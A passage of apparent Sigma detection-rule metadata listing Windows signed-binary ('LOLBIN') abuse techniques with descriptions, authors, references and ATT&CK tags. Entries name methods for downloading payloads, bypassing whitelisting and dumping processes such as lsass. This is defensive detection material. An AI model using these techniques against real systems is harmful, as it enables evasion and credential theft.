arbitrary binaries", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/09", - "falsepositive": [ - "Legitimate use for tracing purposes" - ], - "filename": "proc_creation_win_lolbin_mftrace.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mftrace.yml", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ] - }, - "uuid": "3d48c9d3-1aa6-418d-98d3-8fd3c01a564e", - "value": "Use of Mftrace.exe" - }, - { - "description": "Detects execution of \"msdt.exe\" using an answer file which is simulating the legitimate way of calling msdt via \"pcwrun.exe\" (For example from the compatibility tab)", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/13", - "falsepositive": [ - "Possible undocumented parents of \"msdt\" other than \"pcwrun\"" - ], - "filename": "proc_creation_win_lolbin_msdt_answer_file.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Msdt/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.execution" - ] - }, - "uuid": "9c8c7000-3065-44a8-a555-79bcba5d9955", - "value": "Execute MSDT Via Answer File" - }, - { - "description": "Detects usage of \"MSOHTMED\" to download arbitrary files", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_msohtmed_download.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml", - "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218" - ] - }, - "uuid": "459f2f98-397b-4a4a-9f47-6a5ec2f1c69d", - "value": "Download Arbitrary Files Via MSOHTMED.EXE" - }, - { - "description": "Detects usage of \"MSPUB\" (Microsoft Publisher) to download arbitrary files", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_mspub_download.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml", - "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218" - ] - }, - "uuid": "3b3c7f55-f771-4dd6-8a6e-08d057a17caf", - "value": "Download Arbitrary Files Via MSPUB.EXE" - }, - { - "description": "Use OfflineScannerShell.exe to execute mpclient.dll library in the current working directory", - "meta": { - "author": "frack113", - "creation_date": "2022/03/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_offlinescannershell.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/OfflineScannerShell/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_offlinescannershell.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "02b18447-ea83-4b1b-8805-714a8a34546a", - "value": "Suspicious OfflineScannerShell.exe Execution From Another Folder" - }, - { - "description": "Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/16", - "falsepositive": [ - "Legitimate use by an administrator" - ], - "filename": "proc_creation_win_lolbin_openconsole.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openconsole.yml", - "https://twitter.com/nas_bench/status/1537563834478645252" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "814c95cc-8192-4378-a70a-f1aafd877af1", - "value": "Use of OpenConsole" - }, - { - "description": "Execute commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This is used as a LOLBIN for example to bypass application whitelisting.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/14", - "falsepositive": [ - "Legitimate use by a via a batch script or by an administrator." - ], - "filename": "proc_creation_win_lolbin_pcalua.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Pcalua/", - "https://pentestlab.blog/2020/07/06/indirect-command-execution/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "0955e4e1-c281-4fb9-9ee1-5ee7b4b754d2", - "value": "Use of Pcalua For Execution" - }, - { - "description": "Detect indirect command execution via Program Compatibility Assistant pcwrun.exe", - "meta": { - "author": "A. Sungurov , oscd.community", - "creation_date": "2020/10/12", - "falsepositive": [ - "Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts", - "Legit usage of scripts" - ], - "filename": "proc_creation_win_lolbin_pcwrun.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/pabraeken/status/991335019833708544", - "https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.execution" - ] - }, - "uuid": "b97cd4b1-30b8-4a9d-bd72-6293928d52bc", - "value": "Indirect Command Execution By Program Compatibility Wizard" - }, - { - "description": "Detects indirect command execution via Program Compatibility Assistant \"pcwrun.exe\" leveraging the follina (CVE-2022-30190) vulnerability", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/13", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_lolbin_pcwrun_follina.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/nas_bench/status/1535663791362519040", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.execution" - ] - }, - "uuid": "6004abd0-afa4-4557-ba90-49d172e0a299", - "value": "Execute Pcwrun.EXE To Leverage Follina" - }, - { - "description": "Tools to Capture Network Packets on the windows 10 with October 2018 Update or later.", - "meta": { - "author": "frack113", - "creation_date": "2022/03/17", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_lolbin_pktmon.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Pktmon/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pktmon.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1040" - ] - }, - "uuid": "f956c7c1-0f60-4bc5-b7d7-b39ab3c08908", - "value": "Use of PktMon.exe" - }, - { - "description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files. It can be abused to run malicious \".xbap\" files any bypass AWL", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/01", - "falsepositive": [ - "Legitimate \".xbap\" being executed via \"PresentationHost\"" - ], - "filename": "proc_creation_win_lolbin_presentationhost.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218" - ] - }, - "uuid": "d22e2925-cfd8-463f-96f6-89cec9d9bc5f", - "value": "Application Whitelisting Bypass via PresentationHost.exe" - }, - { - "description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files to download arbitrary files", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_presentationhost_download.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml", - "https://github.com/LOLBAS-Project/LOLBAS/pull/239/files" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218" - ] - }, - "uuid": "b124ddf4-778d-418e-907f-6dd3fc0d31cd", - "value": "Download Arbitrary Files Via PresentationHost.exe" - }, - { - "description": "Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.", - "meta": { - "author": "frack113", - "creation_date": "2022/05/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_printbrm.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/PrintBrm/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105", - "attack.defense_evasion", - "attack.t1564.004" - ] - }, - "uuid": "cafeeba3-01da-4ab4-b6c4-a31b1d9730c7", - "value": "PrintBrm ZIP Creation of Extraction" - }, - { - "description": "Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.", - "meta": { - "author": "frack113", - "creation_date": "2022/05/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_pubprn.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml", - "https://lolbas-project.github.io/lolbas/Scripts/Pubprn/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216.001" - ] - }, - "uuid": "1fb76ab8-fa60-4b01-bddd-71e89bf555da", - "value": "Pubprn.vbs Proxy Execution" - }, - { - "description": "Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.", - "meta": { - "author": "Julia Fomina, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_lolbin_rasautou_dll_execution.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html", - "https://github.com/fireeye/DueDLLigence", - "https://lolbas-project.github.io/lolbas/Binaries/Rasautou/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rasautou_dll_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "cd3d1298-eb3b-476c-ac67-12847de55813", - "value": "DLL Execution via Rasautou.exe" - }, - { - "description": "Detects suspicious execution of Regasm/Regsvcs utilities", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/25", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_regasm.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", - "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", - "https://www.fortiguard.com/threat-signal-report/4718?s=09" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.009" - ] - }, - "uuid": "cc368ed0-2411-45dc-a222-510ace303cb2", - "value": "Regasm/Regsvcs Suspicious Execution" - }, - { - "description": "Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/19", - "falsepositive": [ - "Legitimate usage of the script. Always investigate what's being registered to confirm if it's benign" - ], - "filename": "proc_creation_win_lolbin_register_app.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_register_app.yml", - "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "1c8774a0-44d4-4db0-91f8-e792359c70bd", - "value": "REGISTER_APP.VBS Proxy Execution" - }, - { - "description": "Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files.", - "meta": { - "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "creation_date": "2022/06/02", - "falsepositive": [ - "Approved installs of Windows SDK with Debugging Tools for Windows (WinDbg)." - ], - "filename": "proc_creation_win_lolbin_remote.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml", - "https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ] - }, - "uuid": "4eddc365-79b4-43ff-a9d7-99422dc34b93", - "value": "Use of Remote.exe" - }, - { - "description": "Detects the use of Replace.exe which can be used to replace file with another file", - "meta": { - "author": "frack113", - "creation_date": "2022/03/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_replace.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/replace", - "https://lolbas-project.github.io/lolbas/Binaries/Replace/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "9292293b-8496-4715-9db6-37028dcda4b3", - "value": "Replace.exe Usage" - }, - { - "description": "An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver", - "meta": { - "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io, TactiKoolSec", - "creation_date": "2022/04/28", - "falsepositive": [ - "Legitimate installation of a new screensaver" - ], - "filename": "proc_creation_win_lolbin_rundll32_installscreensaver.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml", - "https://lolbas-project.github.io/lolbas/Libraries/Desk/" - ], - "tags": [ - "attack.t1218.011", - "attack.defense_evasion" - ] - }, - "uuid": "15bd98ea-55f4-4d37-b09a-e7caa0fa2221", - "value": "Rundll32 InstallScreenSaver Execution" - }, - { - "description": "The \"ScriptRunner.exe\" binary can be abused to proxy execution through it and bypass possible whitelisting", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/01", - "falsepositive": [ - "Legitimate use when App-v is deployed" - ], - "filename": "proc_creation_win_lolbin_scriptrunner.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_scriptrunner.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218" - ] - }, - "uuid": "64760eef-87f7-4ed3-93fd-655668ea9420", - "value": "Use of Scriptrunner.exe" - }, - { - "description": "Detects the usage of the \"sftp.exe\" binary as a LOLBIN by abusing the \"-D\" flag", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/11/10", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_sftp.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sftp.yml", - "https://github.com/LOLBAS-Project/LOLBAS/pull/264" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218" - ] - }, - "uuid": "a85ffc3a-e8fd-4040-93bf-78aff284d801", - "value": "Use Of The SFTP.EXE Binary As A LOLBIN" - }, - { - "description": "Detects the execution utitilies often found in Visual Studio tools that hardcode the call to the binary \"link.exe\". They can be abused to sideload any binary with the same name", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_sideload_link_binary.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/0gtweet/status/1560732860935729152", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sideload_link_binary.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "6e968eb1-5f05-4dac-94e9-fd0c5cb49fd6", - "value": "Sideloading Link.EXE" - }, - { - "description": "Detects the execution of sigverif binary as a parent process which could indicate it being used as a LOLBIN to proxy execution", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_sigverif.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sigverif.yml", - "https://www.hexacorn.com/blog/2018/04/27/i-shot-the-sigverif-exe-the-gui-based-lolbin/", - "https://twitter.com/0gtweet/status/1457676633809330184" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "7d4aaec2-08ed-4430-8b96-28420e030e04", - "value": "Suspicious Sigverif Execution" - }, - { - "description": "The \"Squirrel.exe\" binary that is part of multiple software (Slack, Teams, Discord...etc) can be used as a LOLBIN", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/09", - "falsepositive": [ - "See rule (fa4b21c9-0057-4493-b289-2556416ae4d7) for possible FPs" - ], - "filename": "proc_creation_win_lolbin_squirrel.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution" - ] - }, - "uuid": "45239e6a-b035-4aaf-b339-8ad379fcb67e", - "value": "Use of Squirrel.exe" - }, - { - "description": "Detects suspicious LOLBIN AccCheckConsole execution with parameters as used to load an arbitrary DLL", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/06", - "falsepositive": [ - "Legitimate use of the UI Accessibility Checker" - ], - "filename": "proc_creation_win_lolbin_susp_acccheckconsole.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/", - "https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml", - "https://twitter.com/bohops/status/1477717351017680899?s=12" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "0f6da907-5854-4be6-859a-e9958747b0aa", - "value": "Suspicious LOLBIN AccCheckConsole" - }, - { - "description": "Atbroker executing non-deafualt Assistive Technology applications", - "meta": { - "author": "Mateusz Wydra, oscd.community", - "creation_date": "2020/10/12", - "falsepositive": [ - "Legitimate, non-default assistive technology applications execution" - ], - "filename": "proc_creation_win_lolbin_susp_atbroker.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_atbroker.yml", - "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "f24bcaea-0cd1-11eb-adc1-0242ac120002", - "value": "Suspicious Atbroker Execution" - }, - { - "description": "Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/11/24", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_lolbin_susp_certreq_download.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Certreq/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "4480827a-9799-4232-b2c4-ccc6c4e9e12b", - "value": "Suspicious Certreq Command to Download" - }, - { - "description": "Detects when a possible suspicious driver is being installed via pnputil.exe lolbin", - "meta": { - "author": "Hai Vaknin @LuxNoBulIshit, Avihay eldad @aloneliassaf, Austin Songer @austinsonger", - "creation_date": "2021/09/30", - "falsepositive": [ - "Pnputil.exe being used may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Pnputil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil-command-syntax", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml", - "https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html" - ], - "tags": [ - "attack.persistence", - "attack.t1547" - ] - }, - "uuid": "a2ea3ae7-d3d0-40a0-a55c-25a45c87cac1", - "value": "Suspicious Driver Install by pnputil.exe" - }, - { - "description": "Detects execution of of Dxcap.exe", - "meta": { - "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali (update)", - "creation_date": "2019/10/26", - "falsepositive": [ - "Legitimate execution of dxcap.exe by legitimate user" - ], - "filename": "proc_creation_win_lolbin_susp_dxcap.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/harr0ey/status/992008180904419328", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_dxcap.yml", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "60f16a96-db70-42eb-8f76-16763e333590", - "value": "Application Whitelisting Bypass via Dxcap.exe" - }, - { - "description": "Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/05/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_susp_grpconv.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_grpconv.yml", - "https://twitter.com/0gtweet/status/1526833181831200770" - ], - "tags": [ - "attack.persistence", - "attack.t1547" - ] - }, - "uuid": "f14e169e-9978-4c69-acb3-1cff8200bc36", - "value": "Suspicious GrpConv Execution" - }, - { - "description": "Detect the use of Windows Defender to download payloads", - "meta": { - "author": "Matthew Matchen", - "creation_date": "2020/09/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_susp_mpcmdrun_download.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://web.archive.org/web/20200903194959/https://twitter.com/djmtshepana/status/1301608169496612866", - "https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_mpcmdrun_download.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "46123129-1024-423e-9fae-43af4a0fa9a5", - "value": "Windows Defender Download Activity" - }, - { - "description": "Detects process dump via legitimate sqldumper.exe binary", - "meta": { - "author": "Kirill Kiryanov, oscd.community", - "creation_date": "2020/10/08", - "falsepositive": [ - "Legitimate MSSQL Server actions" - ], - "filename": "proc_creation_win_lolbin_susp_sqldumper_activity.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml", - "https://twitter.com/countuponsec/status/910969424215232518", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/", - "https://twitter.com/countuponsec/status/910977826853068800" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "23ceaf5c-b6f1-4a32-8559-f2ff734be516", - "value": "Dumping Process via Sqldumper.exe" - }, - { - "description": "Detects Possible usage of Windows Subsystem for Linux (WSL) binary as a LOLBIN", - "meta": { - "author": "oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali", - "creation_date": "2020/10/05", - "falsepositive": [ - "Automation and orchestration scripts may use this method execute scripts etc", - "Legitimate use by Windows to kill processes opened via WSL (example VsCode WSL server)" - ], - "filename": "proc_creation_win_lolbin_susp_wsl.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/", - "https://twitter.com/nas_bench/status/1535431474429808642", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_wsl.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218", - "attack.t1202" - ] - }, - "uuid": "dec44ca7-61ad-493c-bfd7-8819c5faa09b", - "value": "WSL Execution" - }, - { - "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.", - "meta": { - "author": "frack113", - "creation_date": "2021/07/12", - "falsepositive": [ - "App-V clients" - ], - "filename": "proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "fbd7c32d-db2a-4418-b92c-566eb8911133", - "value": "SyncAppvPublishingServer Execute Arbitrary PowerShell Code" - }, - { - "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs", - "meta": { - "author": "frack113", - "creation_date": "2021/07/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.t1216" - ] - }, - "uuid": "36475a7d-0f6d-4dce-9b01-6aeb473bbaf1", - "value": "SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code" - }, - { - "description": "Detects the executiob of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe)", - "meta": { - "author": "frack113", - "creation_date": "2022/05/16", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_lolbin_ttdinject.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ttdinject.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ] - }, - "uuid": "b27077d6-23e6-45d2-81a0-e2b356eea5fd", - "value": "Use of TTDInject.exe" - }, - { - "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", - "meta": { - "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", - "creation_date": "2020/10/06", - "falsepositive": [ 